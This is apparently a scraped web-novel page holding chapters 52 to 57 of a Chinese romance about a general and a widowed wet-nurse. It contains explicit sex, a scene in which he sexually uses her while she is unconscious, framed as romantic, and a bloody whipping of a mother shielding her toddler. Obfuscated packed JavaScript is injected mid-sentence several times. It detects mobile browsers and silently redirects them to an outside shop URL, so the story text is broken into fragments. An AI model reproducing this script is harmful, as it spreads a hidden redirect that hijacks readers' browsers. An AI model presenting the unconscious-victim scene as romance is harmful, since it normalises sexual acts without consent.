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罗苒的目光不受控制地从他胸膛滑到腰腹,又顺着腰身往下。 轻薄的下裤松松地挂在胯骨上,布料下鼓鼓囊囊的轮廓若隐若现。 她想到那晚在阁楼上,那个曾经磨红了她大腿根的东西。 烫得像烙铁,只是蹭一蹭就让她控制不住地直哆嗦。 她喉咙发紧,汗冒得更厉害了,额前的碎发湿漉漉地贴在皮肤上。 她心中暗暗宽慰…… 孩子都生过了,有些困难,忍忍应该能克服的吧? 楚烬垂眼看着身前只是帮她脱个上衣就面红耳赤羞耻的不敢抬眼的小娘子。 从他的角度可以清楚地看到那挺巧的鼻尖上挂着的细小汗珠。 细长白皙的手指哆嗦着,似是想解他的腰带,又似是不敢,犹犹豫豫地悬在那里。 看着她那副又怂又窘惊慌失措的模样,楚烬嘴角微微弯了弯,没等她解完,便转身跨进了池中。 第52章 “怎么?想要脱了再下来? 水池不浅,但楚烬身量高大,水只没到腰身。 温热的泉水漫过他腰腹上那些狰狞的疤痕,水汽氤氲中,他的身形愈发显得魁梧,像一座从雾气中浮出的山。 他回头,朝站在池边手足无措的罗苒伸出手,手掌宽大粗糙,指节分明,虎口处是常年握刀磨出的厚茧。 罗苒僵在那里没动,手下意识地攥着裙摆。 楚烬挑眉,眼底浮起一层薄薄的笑意,低低的声音带着几分逗弄,在空旷的浴堂里显得格外清晰, “怎么?想要脱了再下来?” 罗苒的脸顿时烧得更厉害了,连脖颈都泛上了粉。 她低下头,不敢看楚烬的眼睛,犹豫了一瞬,还是把手递了过去。 罗苒的手指细细软软的,落进楚烬粗糙的掌心里。 被宽厚的大手整个包住,掌心的温度烫得罗苒指尖一颤。 楚烬只是轻轻一带,水声哗啦,罗苒整个人被拽进池中。 半湿的衣裳被温热的水彻底浸透,紧紧贴在身上,勾勒出玲珑起伏的曲线。 她还没来得及站稳,一堵滚烫的肉墙便贴了上来。 楚烬强健的身躯急切地靠过来,胸膛压着她柔软的身子,一手箍着她的腰,一手撑在她身后的池壁上,将她牢牢锁在自己和石壁之间。 水波在两人身边荡漾,一圈一圈地荡开,拍打着池壁,发出细碎的声响。 楚烬的大手揽着那纤细的腰身。 罗苒能感觉到那手指的力道,身体不受控制地发着抖。 从肩膀到指尖,细细密密地颤着,像一只被雨淋湿的猫,弱小可怜。 “抖得这么厉害?” 楚烬低头,嘴唇几乎贴着她的耳廓,热气喷在她敏感的耳根上,声音低哑得不像话, “冷吗?” 罗苒摇了摇头,声音轻轻颤着, “不……不冷……” 罗苒开口,声音还是抖的。 何止不冷,她只觉得闷热得要命。 池水的热气太浓,他的体温太高,把她整个人蒸得晕乎乎的。 缭绕的水雾模糊了她的视线,脑袋也有些发沉,像是踩在云上,又像是沉在梦里,分不清是真实还是虚幻。 “那是怕了?” 楚烬的声音又低了几分,嘴唇几乎贴着她的耳朵,热气一阵一阵地喷在她耳廓上,激得她浑身一颤。 罗苒紧张地咽了口唾沫,喉咙紧得几乎发不出声音。 她张了张嘴,又闭上,心跳快得吓人。 能不怕吗? 他那么高大健硕,胳膊比她的小腿还粗,两只大手甚至能把她的腰环过来,轻轻一用力就能把人整个从地上捞起来…… 罗苒并不喜欢那种事。 旁人都说得趣上瘾,可她半点没有过那种感觉,只觉得又疼又难受,每次都要生生熬过那半柱香的工夫,能避则避。 好在成亲没多久便怀了孕,她体质弱,大夫嘱咐要避免房事,那时她竟暗暗松了口气。 再后来前夫**,便更不再想这种事。 可如今却不得不面对,还是这样强悍粗犷的男人。 那种东西,比前夫离谱的多的尺寸,光是想想就让人胆寒。 可她推脱不了,也没有能力逃跑。 楚烬今日看她的眼神,像是要将她生吞入腹。 那种感觉好像只要他困住自己,自己便没有任何挣扎逃脱的余地,只能任他随心所欲地摆布。 楚烬似乎感觉到了罗苒的忌惮,没有急着动作,而是低下头,吻住了那有些颤抖的唇。 不像以往那样强势霸道,这个吻带着安抚的味道。 但这安抚性的吻很快随着罗苒本能的怯弱回应变得热切起来。 湿热的水汽加上让人越发难以招架的热吻,罗苒只觉得眩晕感越来越重,眼前一阵阵发黑,连站几乎都站不稳了。 不知什么时候,腰带松了,衣衫散开,沾着水光的莹白皮肤裸露在氤氲的水汽中,像剥了壳的荔枝,白嫩地晃眼。 楚烬边吻边将她抱上一侧的石台,石台略高于水面,她坐在上面,他便低了头,埋进那片柔软之中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可这又怎么可能呢? 楚烬这样的人,怎么可能会娶自己这样的寡妇…… 第53章 竟然在那个时候晕了过去? 只是她很快没有心思再想这些了。 楚烬紧箍着她,更加贴近了几分,没有预想中的难受,说不清是疼还是别的什么。 但那种感觉奇怪得让她眼前阵阵发黑,只觉得胸口闷得厉害,怎么深呼吸都缓解不了。 流水声哗哗地响着。 楚烬动了动,抱着她的手臂很用力,两个人身体紧贴,她能感觉到他胸膛的起伏,还有那一下一下又沉又重的心跳。 罗苒只觉得呼吸更加困难了,胸口剧烈地起伏着,肺里的空气像是被一点一点挤了出去,换进来的全是湿热的水汽和他身上滚烫的气息。 下意识想要蜷起身子,却被楚烬抱得动弹不得。 浑身软得像一团浸了水的棉花,使不上半点力气。 眼前渐渐发花,耳边的水声和心跳声混成一片,越来越远,越来越模糊。 她张了张嘴,想喊一声“大爷”,嘴唇却只颤了颤,发不出任何声音。 终于坚持不住,眼前一黑,意识彻底沉了下去。 楚烬忍着想要等她适应,却忽然感觉怀里的小身子软了下来,没了动静。 他微微松开臂膀,低头一看她双目紧闭竟然已经晕了过去。 楚烬连忙检查,发现体征平稳只是因为水汽太足温度太高,缺氧所致。 看着那张绯红的小脸,睫毛湿漉漉地垂着,楚烬暗骂了一声,迅速将忍抱起。 扯过一旁的外袍裹住她,大步走到靠近窗户的软塌边将她放下,微微推开窗扇。 微风从缝隙里漏进来,凉丝丝的,吹散了屋里过于浓重的热气。 罗苒躺在软塌上,满身绯红,连脚指头都是粉的。 湿漉漉的头发贴在脸上,眼尾红红的,鼻尖也红红的,整个人看起来可怜极了。 楚烬站在塌边,低头看着她。 他知道两人体型相差有些大,也知道这小娘子娇嫩得很。 第一次在这样的地方,果然还是太勉强了些。 可方才她用那样的眼神看他,半湿的衣裳勾勒着上身,浑圆若隐若现,他怎么能忍得住? 再次确认她呼吸平稳没有大碍之后,楚烬这才彻底放松下来。 外袍勉强裹住她,却遮不住脖颈锁骨肩头上斑斑点点的痕迹,在那粉嫩光滑的皮肤上格外显眼。 他弯腰坐在塌边,抬手捏住她的小脸,轻轻掰过来,近距离地看着她昏睡的脸。 她的睫毛很长,在眼睑下投出一小片扇形的阴影,鼻梁秀挺,嘴唇微微肿着,还带着被他亲过的水光。 他的指腹贴着她的脸颊,那皮肤柔软细腻,像上好的绸缎,又像刚剥了壳的鸡蛋,让他舍不得松开。 他凑近了几分,呼吸粗重起来,喷在她脸上,看着她毫无防备的睡颜,眼底的光越来越暗。 他粗糙的指腹塞进她微微张开的嘴里,压住那柔软的舌头,轻轻搅了一下。 她无意识地嗯了一声,眉头微微皱起,却依旧昏迷着。 他喉结剧烈地滚动了一下,目光紧盯着她的脸。 一只手继续紧紧捏着她的脸颊,另一只手…… 最后那一刻,他咬着牙,闷哼一声。 靠在榻边,楚烬胸口剧烈起伏着,粗重的喘息在安静的房间里格外清晰。 他低头看着自己那只还沾着水光的手,又看了看榻上昏睡的一无所知的小娘子,忽然觉得自己真是荒唐之极。 在见到这个女人之前,他自认为是个正人君子,战场上杀伐果断,朝堂上刚正不阿,从不做那些龌龊下作之事。 可自从遇见她,那些念头就像疯长的藤蔓,怎么都压不下去。 想看她红着脸低下头的样子,想听她软着声音喊大爷,想把她揉进怀里,想看她那双水蒙蒙的眼睛因为自己而泛起雾气。 那些想法咸腥浓重,像潮水一样,一波一波地涌上来,怎么都退不下去。 只是他没想到,有一天,自己竟然会对着已经晕厥过去毫无防备的她,做这种荒唐下流之事…… 他抬手,拇指擦过她嘴角沾着的一点濡湿,俯下身,去吻那什么都不知道的唇。 她的唇瓣柔软温热,带着淡淡的甜味,像一块怎么都尝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17461876|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不够的糖。 他吻了一下,又吻了一下,最后把脸埋进她颈窝里,闷闷地叹了口气,带着几分自嘲, “楚烬,你真是……” 他没说完,只是又抬起头,在她眉心落下一个吻,很轻,很轻。 罗苒醒来的时候,映入眼帘的是一片陌生的华贵。 帐顶绣着暗纹云雷,床柱是上好的紫檀木,被褥柔软得像云朵,还带着淡淡的冷松香…… 那是楚烬身上的味道。 她猛地清醒过来,慌忙爬起,脑袋还有些晕沉。 她努力回想,只记得浴堂里热气氤氲水波荡漾,还有那滚烫地靠着她的胸膛…… 再往后便是空白一片。 自己竟然在那个时候晕了过去? 罗苒只觉得脑袋嗡嗡作响,下意识地低头看了看自己,衣裳已经换过了,干净清爽。 身上除了几处斑斑点点的红痕,并没有其他不适的感觉。 浴堂里的事,显然没有继续进行下去…… 思绪顿时更乱了,稍微冷静下来后,还是觉得还是先离开这里为好。 理了理衣裳,罗苒小心翼翼地推开门。 已到傍晚时间,夕阳下院内下人们来来往往,郭管家正站在院中指挥着人收拾侧。 见她楚烬的房间出来,郭管家抬起头,客气地打了个招呼,面色如常,语气也如常, “罗娘子,你醒了。” 罗苒应了一声,脸却不争气地红了。 她看得出,郭管家见她从大爷房里出来,半点不意外,显然已经知道了什么…… 或者,是楚烬吩咐过了什么。 她垂着眼,正要快步离开,郭管家却叫住了她, “罗娘子,大爷刚刚下令,让你和女儿搬到侧院来。现在侧院正在收拾,你也回去收拾一下,晚上便搬来吧。” 他顿了顿,笑着补充道, “这侧院离衍哥儿院也近,以后照看小少爷更加方便。” 罗苒愣了一下,点了点头,不知道该用什么表情来应对。 只能道了谢,转身往回走,脚步有些虚浮。 第54章 总不能让她白叫爹爹了 说是侧院,其实比原来的下人住处舒适宽敞了不止一倍。 里外两间,家具都是新打的,漆面光亮,连床上的被褥都换成了上好的绸面,摸上去滑溜溜凉丝丝的。 罗苒站在屋子中间,看着这一切,心里却像揣了一团乱麻,怎么都理不清。 楚烬让她搬到侧院来,是什么意思? 是对她负责?还是补偿? 可他知道自己不做妾室的。 堂堂大将军,应该没有强迫别人的癖好。 难道说他真有娶她为妻的打算? 这个念头一冒出来,罗苒自己都吓了一跳,慌忙摇头,把这荒唐的想法甩了出去。 不敢乱想了,还是走一步算一步吧。 搬进侧院后,郭管家又送来了好多生活用品。 不多时就堆了小半间屋子。 罗苒看着那些东西,心里说不上是什么滋味。 换了新住处小玥到是很开心,在崭新的榻上滚来滚去。 滚累了就吵着要去院子看萤火虫。 罗苒蹲下来给她穿鞋,小丫头忽然指着门口,脆生生地喊了一声, “爹爹!” 罗苒抬头,楚烬不知什么时候来了,正站在院门口。 灯光落在他肩上,把他那张棱角分明的脸照得半明半暗,眉骨的阴影压下来,衬得那双眼睛愈发深邃。 罗苒不禁红了脸,想起自己在浴堂里晕过去的事,实在尴尬得不行,垂下眼不敢看他。 小玥迈着小碎步跑过去,一把抱住他的腿,仰着脸咯咯地笑。 许是从小没见过父亲,小玥一直对成年男子格外亲近,尤其是像山一样健硕的楚烬。 一开始罗苒还惊慌地纠正,生怕府里人误会她利用孩子攀附楚烬。 可后来发现小玥对哪个年轻男人都喊爹爹。 府里人也都知道这丫头就这毛病。 加上小玥生得讨人喜欢,粉雕玉琢的,追着人喊爹爹的时候,没几个人能忍住不抱抱她逗逗她。 一来二去,她叫得更欢了,罗苒实在纠正不过来,也便由着她了。 楚烬弯腰,一把将小玥捞起来扛在肩上大步走进屋。 “大爷。” 罗苒低下头,有些不敢看他。 相对于她的不自然,楚烬倒是坦然许多。 看着脸红耳赤垂着眼不敢瞧他的小娘子,楚烬自然知道她为何这般。 要是自己继续盯她着看,这红着脸的小娘子怕是要熟了。 便收回目光,转移话题道, “搬到这里,可还习惯?可有什么缺的?” 罗苒忙道,“这里很好,郭管家把什么都置办齐了,没有什么缺的。” 楚烬目光又落在她手边铺开的布料上, “这是在做什么?” 罗苒低头理了理那些布匹, “奴婢想给小玥做两件衣裳,这几匹布柔软,很适合给孩子做衣衫。” 小孩身体长得快,衣服换得也勤。 衍哥儿的衣裳不用她费心,每半个月成衣店就会送来新做的。 可成衣店的孩童衣裳不便宜,罗苒自然承担不起那样的花销,便总是自己给小玥缝制衣衫。 好在她手艺不错,做的小褂子、小裤子,针脚细密,样式也好看,不比外面买的差多少。 楚烬看了看怀里的小玥,心里顿时明白了过来。 怪不得一点布料就让这小娘子稀罕成那样,原来是因为这个。 不由扭头唤来管家。 指了指怀里的小玥,“小丫头的衣服,以后也和衍哥儿一样,定时让铺子送来。” 罗苒愣了一下,连忙摆手, “使不得,大爷,这太破费了……” 楚烬不以为意,低头看了一眼小玥。 小丫头也正用圆溜溜的黑眼睛望着他,肉嘟嘟的小脸可爱得紧,那两排浓密的长睫毛扑闪扑闪的,跟她母亲如出一辙。 楚烬的目光柔了下来,嘴角微微弯了弯,轻笑一声说道, “无碍,总不能让她白叫爹爹了。” …… …… 楚府后花园的紫丁香是出了名的,每到春天,来赏花的客人更是络绎不绝。 今日,府里又来了贵客,据说是宫里的主子。 一大早,府中上下都在为此忙活。 厨房忙不过来,喊了李婆婆和刘婆婆过去帮忙。 罗苒一个人在院里带两个孩子。 两个小家伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462388|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月份相差不多,从小一起长大的缘故,可以乖乖地一起玩很久,罗苒哄起他们来倒也游刃有余。 只是却没想到她给衍哥儿喂奶的功夫,已经学会走路的小玥不知什么时候跑了出去。 罗苒喂完奶,一转身就发现刚刚还在院子里乖乖玩泥老虎的小玥不见了。 她慌忙把衍哥儿托付给丫鬟暂时照看,跑出院门四处寻。 刚拐过回廊,就听见不远处的紫丁花花园里传来小玥的哭声。 罗苒顺着哭声跑过去,远远看见花园里站满了人。 中间一位衣着华贵的年轻女子,约莫十六七岁,容貌娇艳,眉宇间带着几分矜贵,一看便不是寻常人家出身,气派十足。 想来,这便是楚府今日招待的宫里来的贵客了。 那女子身旁站着三房小姐楚时安,正笑吟吟地跟那贵女说话,眉眼间全是讨好。 小玥就坐在那贵女面前,哇哇大哭,小脸吓得煞白。 罗苒也顾不得礼数,跑上前一把将小玥抱进怀里,跪了下去, “奴婢没看好孩子,冲撞了贵人,还望贵人赎罪。” 那贵女不是别人,正是当朝公主赵灵熙。 只因她去年在宫宴上见了楚烬一面,便一见倾心,也不顾楚烬有过一次婚配,回去便嚷着要皇帝给她指婚。 皇帝疼她,明里暗里给楚烬递过话,皆被楚烬以“战事未定,无心家事”为由推了。 赵灵熙却越挫越勇,找着机会就想跟楚烬接触。 今日寻了个赏花的由头来楚府做客,却没想到楚烬不在,只有三房的夫人和楚时安接待。 虽楚府不曾怠慢,但费尽心思没见到想见的人,赵灵熙心里正窝着火。 就在这时这个不知死活的小丫头片子跑过来撞了她。 赵灵熙的脸色当即沉了下来。 陪着赵灵熙在花园散步的楚时安,本就对罗苒有意见。 上次二房楚晓晴在宴会上出丑,罗苒三言两语把事情圆成了楚晓晴孝顺懂事。 楚晓晴因此得了武安侯家二公子的青睐,两人已经交换了庚帖,亲事定了下来。 那二公子,楚时安原本也有几分心思的…… 第55章 她喊我爹爹,你说我们什么关系? 因此,她心里便有些记恨着罗苒。 只是罗苒在大房院里,前段时间还听说楚烬竟特许让她住进侧院。 府中都在传这后院一直空缺的大房再过不久应是要住进人去了,她便更不敢轻易为难了。 如今到是正巧了。 楚时安眼珠一转,凑过去低声对赵灵熙说了几句。 赵灵熙的脸色顿时更难看了。 目光落在抱着小玥跪在地上的罗苒身上,带着几分敌意, “你就是楚哥哥院里照看他养子的奶娘?” 她看着罗苒低垂却难掩美色的脸,冷笑一声, “仗着几分姿色,就在院里不安分?” 楚时安在旁边添油加醋, “明知今日楚府有贵客登门,如今竟然还敢怂恿孩子冲撞公主,难不成真当这楚府是你说了算?” 罗苒从话中听出这贵人竟是公主,心中更加惧怕,慌忙求饶, “奴婢不敢,求公主开恩……” “冲撞本宫,按宫中规矩是要赏一丈红的。” 赵灵熙慢悠悠地说,目光扫过罗苒怀里穿着绸缎锦衣的小玥。 那身衣裳料子极好,绣工也精致,一个**奴婢生的丫头,竟穿得这样好,想来也知道是怎么回事。 她心里那股火顿时烧得更旺了。 楚烬对她这个正牌公主不冷不热,倒是对这个寡妇热切得很,连人家的孩子都穿得矜贵。 眼中闪过一丝狠意,嘴角却依旧挂着矜贵的笑, “不过今日不是在宫中,板子就免了……但这丫头冲撞了本宫,便打她十鞭子,长长记性。” 罗苒脸色煞白,抱紧小玥,连连磕头, “公主,小玥才一岁多,经不起鞭子……求求公主开恩,民妇愿意替孩子受罚……” “你替?” 赵灵熙冷冷地笑, “你是她娘,她闯了祸,你自然也有责任,本宫还没罚你呢,你倒先开口了。” 她抬了抬手,身边的宫女便从腰间抽出一根细长的马鞭,带着倒刺,泛着森森寒光。 楚时安让人将母子二人拉开。 小玥被婆子从罗苒怀里夺走,哇哇大哭。 罗苒的眼泪唰地涌了出来,跪在地上连连磕头,额头磕在青砖上,咚咚作响, “公主开恩,公主开恩……孩子还小,不懂事,奴婢愿意替她挨鞭子,多少下都行……” 赵灵熙让人搬了凳子坐下,嘴角挂着一抹若有若无的笑,看着跪在地上哭求的罗苒,眼底全是快意。 一个奶娘,也敢妄图勾引主子,也该让她知道知道自己的身份。 “还不动手?” 她不耐烦地皱了皱眉。 那宫女扬起鞭子,便狠狠朝小玥抽去。 罗苒也不知哪来的力气,猛地挣开旁边婆子的手,扑过去把小玥整个人护在怀里。 “啪!!” 鞭子落在背上,钻心的疼瞬间蔓延开来。 罗苒咬着唇,把涌到嘴边的惨叫硬生生咽了回去,只闷哼了一声,整个人都在发抖。 她不敢动,也不敢松手,只把小玥抱得更紧,紧紧地护在怀里。 赵灵熙见她扑过来护,脸色更难看了,指着罗苒道, “既然想挨鞭子,那本公主就成全你!一百鞭,少一鞭都不行!” 几鞭下去,罗苒的后背已经血肉模糊,衣裳被抽破了几道口子,血迹洇开来,触目惊心。 她的脸色白得像纸,嘴唇咬破了,血珠渗出来,混着冷汗往下淌。 她浑身都在发抖,可抱着小玥的手始终没有松开。 担心自己痛呼会让小玥更加害怕,咬着牙,硬是一声不吭。 可就算这样怀里的小玥还是哭得撕心裂肺,小手紧紧攥着她的衣襟。 她低头看着女儿满是泪水的脸,艰难地轻声说, “没事,娘在,不怕……” “住手!” 低沉的声音从院门口传来,带着压不住的怒意。 楚烬大步走进来,肩上的风尘还没落干净,显然是刚从军营赶回来的。 他的目光扫过花园里的人,看着跪在地上满身是血的罗苒和她怀里哭得发抖的小玥…… 最后落在那根还在滴血的鞭子上。 眼中的寒意似是将水冻成冰霜。 他想起那日他只打了她三下手板,她就哭得泪人似的,他便舍不得再打。 如今却有人在他府里,众目睽睽之下,对她动了鞭子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17465928|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 楚烬一步一步走过去,靴子踏在青砖上,每一步都像踩在人的心口上。 他的脸色沉得可怕,眼底翻涌着暗沉的光,像是暴风雨前的天,压得人喘不过气。 他走到那宫女面前,一脚踹过去。 宫女惨叫一声,整个人飞出去,撞在假山上,吐出一口血,手里的鞭子掉在地上。 她捂着胸口,疼得满地打滚,哎哟乱叫。 赵灵熙合适见过这种阵仗,顿时吓得脸色发白,猛地站起来, “楚,楚哥哥……” 楚烬看都没看赵灵熙一眼。 而是走到罗苒身边,弯腰把小玥从她怀里接过来。 另一只手扶住罗苒,把人从地上扶起来。 罗苒疼得脸色惨白,咬着唇强忍眼泪,靠在他胸口,闻到他身上熟悉的冷松香,眼泪终于忍不住掉了下来。 赵灵熙看着这一幕,又惊又怒,指着罗苒,声音都变了调, “楚哥哥,这女人带着野种冲撞了本宫,你却第一时间回来不问缘由反而还主动去扶她!你和她们什么关系?” 楚烬冷冷地看了她一眼。 那目光中似是藏着利刃,赵灵熙的声音卡在喉咙里,整个人僵住了,脊背发凉。 “爹爹……” 小玥趴在楚烬肩头,满脸泪痕,小手抓着他的衣领,软软地喊了一声。 楚烬低头看了看怀里的小玥,又看了看靠在自己胸口的罗苒,声音不大,却清清楚楚地传进在场每个人耳朵里, “她喊我爹爹,你说我们什么关系?” 这话一出,在场所有人都愣住了。 楚时安的脸色变了又变,嘴角的笑僵住了。 赵灵熙的脸色更难看了,攥着帕子的手青筋都暴起来了。 虽说大家都知道罗苒生得漂亮,又没了男人,这样的小寡妇容易招人惦记。 府里也传过一些风言风语,可谁都没想过楚烬会在大庭广众之下,还是在公主面前,这样明目张胆地承认。 楚时安还不忘了讨好赵灵熙,勉强挤出笑,上前一步道, “大哥,就算你要纳这奶娘做妾室,未来公主进门便是主母,提前管教一下妾室,又有何不妥?” 第56章 若是要娶,我只会娶她为正妻 楚烬的目光落在楚时安脸上,冷得能结冰, “谁说她只是妾室?” 赵灵熙一听他这样说顿时急了,声音都尖锐的变了调, “你莫不是要娶这个有过孩子的妇人为平妻?” 此时她也顾不得什么矜持,指着罗苒继续高声道, “她一个寡妇,带着拖油瓶,哪里配得上……” “苒娘不做妾室。” 楚烬的声音不高,一字一句却清清楚楚, “若是要娶,我只会娶她为正妻。” 花园里鸦雀无声。 赵灵溪漂亮的脸因愤怒嫉妒而扭曲着, “楚烬,你!你疯了!她一个寡妇,带着别人的孩子,你娶她做正妻?你让满朝文武怎么看你?你让频频提议让你做驸马的父皇怎么看你!” “公主,” 楚烬目光冷冷的,他声音不重,却让人心里发寒, “我楚烬娶谁,不需要别人怎么看,圣上那边,我自会去说。” 赵灵溪被他这话堵得说不出话,眼泪终于忍不住落了下来,抽泣着捂着满是泪水的脸转身跑了。 身后的宫女慌忙跟上,裙摆扫过花丛,花瓣落了一地。 楚时安站在原地,垂着头脸色难看,想说什么,又不敢开口。 楚烬的目光从她脸上扫过,淡淡的,不带什么情绪,却让她后背的汗**都竖了起来。 楚烬在战场上尔虞我诈多年,什么没见过。 二夫人念着罗苒帮过她,便暗中派人去喊他的时候,匆匆提了几嘴,他便大体猜到了七八分。 赵灵溪没来过楚府几次,没那理由会贸然为难未曾相识之人。 那从中作梗的便只有一人了…… 楚时安那点小心思,他怎能看不出。 “身为楚家小姐,言行失当,挑拨是非,从今日起送去护国寺祈福,什么时候回来,等我的吩咐。” 楚时安脸色煞白,眼中已经蓄满泪水,但看着楚烬那阴沉凛冽的脸,终究一个字都不敢多说。 话落,楚烬不再看她,把小玥递给一旁的丫鬟,弯腰将罗苒打横抱起,大步往外走。 罗苒靠在他怀里,仰头看他,眼中亦是震惊。 虽然之前楚烬也说过那样的话,可她却觉得并不贴合实际,也不敢轻易相信。 他那样的人,怎么可能真的娶她一个带着孩子的寡妇? 楚烬低头看着她那副呆愣愣的模样,看着她眼角的泪,声音低了下来,带着几分心疼,又带着几分无奈, “早就跟你说过,现在才信?” 幸亏楚烬来得还算及时,罗苒只挨了六鞭。 可就算这样,后背上鞭痕交错,鲜血淋漓,在白嫩的皮肤上格外狰狞。 楚烬常年在外打仗,处理这种外伤得心应手。 一点一点把血渍清理干净,指腹沾了药膏,仔仔细细地涂抹在每一道鞭痕上,从肩胛到腰侧,一处都没落下。 看着那一道道狰狞的鞭伤,楚烬眉头不由拧起,忽然开口, “之前机灵敏锐成那样?这次怎么倒傻了。” 罗苒垂着眼,声音小小的,带着几分委屈, “事关小玥……我根本来不及细想。” 楚烬的手顿了顿,又继续涂药,声音沉了几分, “往后遇到这种事,别自己硬扛,若我不在府里,便去求老夫人……她吃斋念佛,最是慈悲心肠,不会看着你受欺负……” 他涂完最后一处伤,把药膏放下, “不过,等战事平定,我便娶了你,到时候,也不会有人再有那胆子欺负你了……” 罗苒垂着眼,没接话。 后背的药膏凉丝丝的,他的指腹还贴在她腰侧没移开,温热又粗糙。 她说不清心里是什么滋味,像是甜的又像是苦的,搅在一起,咽不下去,也吐不出来。 之后,楚烬又命管家送来好多赏赐。 衣裳、布料、首饰、药材,一箱一箱地往侧院抬,管家带着人进进出出,忙活了小半个时辰才搬完。 罗苒背上有伤,不便收拾,徐曼羽便过来帮忙。 她一边叠衣裳一边啧啧称奇,手里捏着一匹薄如蝉翼的料子,在光下晃了晃, “这质地上好的蚕丝布甚是难得,夏日做成内衫透气清凉……还有这绸缎金丝的衣裳,今年时兴的款式,料子也是顶好的。” 她把新送来的衣裳一件件叠好,码进柜子里,嘴里没停过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17465929|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可见大爷真是对你用了心思。” 罗苒趴在床上,并没说话。 徐曼羽只当她害羞,继续笑着说道, “没想到你竟是有这福气,那可是大爷呀……满帝都多少贵女眼巴巴盯着,他愣是一个没瞧上,偏偏就看中了你。” 她顿了顿,压低声音,语气里带着几分艳羡, “你这辈子,也算是富贵了。” 罗苒看着那些花花绿绿的布料,心里却空落落的。 不知为何,她总觉得心中晃晃然,像踩在云上,看着底下是实的,一脚下去却会踩空。 她不是什么倾国倾城的美人,也没读过什么书,更没有什么家世背景。 她实在想不明白,自己有什么地方值得楚烬这样费心思。 罗苒低下头,手指无意识地绞着被角, “我总觉得不踏实……我,我也不知道自己哪里值得他这样……” 徐曼羽停下手中的活,看着她副心事重重的样子,差不多她在想什么,拍了拍她的手背,语气认真了几分, “你就别乱想了,大爷那种性格,彪悍强势,连皇上的旨意都能驳了去,谁能做得了他的主?他若不是真心喜欢你,谁能逼他说出那种话?他当着公主的面说要娶你做正妻,那可不是闹着玩的。” “他若只是图一时新鲜,那直接抬进府做个姨娘便是了,根本无需在意你的意愿,可他偏偏在意你的想法,你说你不做妾,他便要正经八里地娶你,他图什么?不就是图你这个人?” “你被打了他心疼成那样,亲自给你上药,用的都是顶好的药膏……” 徐曼羽说着,自己都笑了, “我进楚府这些年,头一回见大爷那样,你这也算是因祸得福了。” 罗苒的脸微微红了,低着头不说话。 徐曼羽站起来,拍了拍裙摆上的褶子, “你就别瞎琢磨了,现下最主要的就是好好养伤,等着大爷战事平定,风风光光地把你娶回去。” 徐曼羽的这番开导,让罗苒心里那团乱麻好像被理出了一点头绪。 她想起楚烬看她的眼神,带着认真和笃定,确实不像是在敷衍,也确实不像是在哄她…… 第57章 那您亲便亲了,手怎还不老实 天气越来越暖和,花园里的草长起来了,绿茸茸的,踩上去软绵绵的。 罗苒带着衍哥儿和小玥在草地上玩,小玥追蝴蝶,跑得满头是汗,咯咯的笑声清脆得像银铃。 衍哥儿还不会走,坐在毯子上,看着小玥扑蝴蝶,也跟着傻乐。 罗苒坐在一旁,看着两个孩子,嘴角弯着,眉眼温柔得像春水。 楚烬回来时,看到的就是这样一幅光景。 一大二小坐在绿幽幽的草地上,小玥追蝴蝶,衍哥儿拍手笑,一身鹅黄色长衫的罗苒坐在中间,歪着头看孩子,脸上带着笑。 她头发随便挽了个髻,插着一只简单的白玉簪子,几缕碎发被风吹散,贴在白净的脸颊边。 阳光落在她身上,把她整个人照得透亮,像一朵开在草地上的小花,娇娇嫩嫩的,光看着就让人心里软绵绵。 楚烬的脚步顿了一下,眼底难得浮起一丝柔意。 可这柔意只维持了一瞬,便想起她背上还有伤,眉头立刻皱了起来。 大步走过去,靴子踩在草地上,发出闷闷的声响。 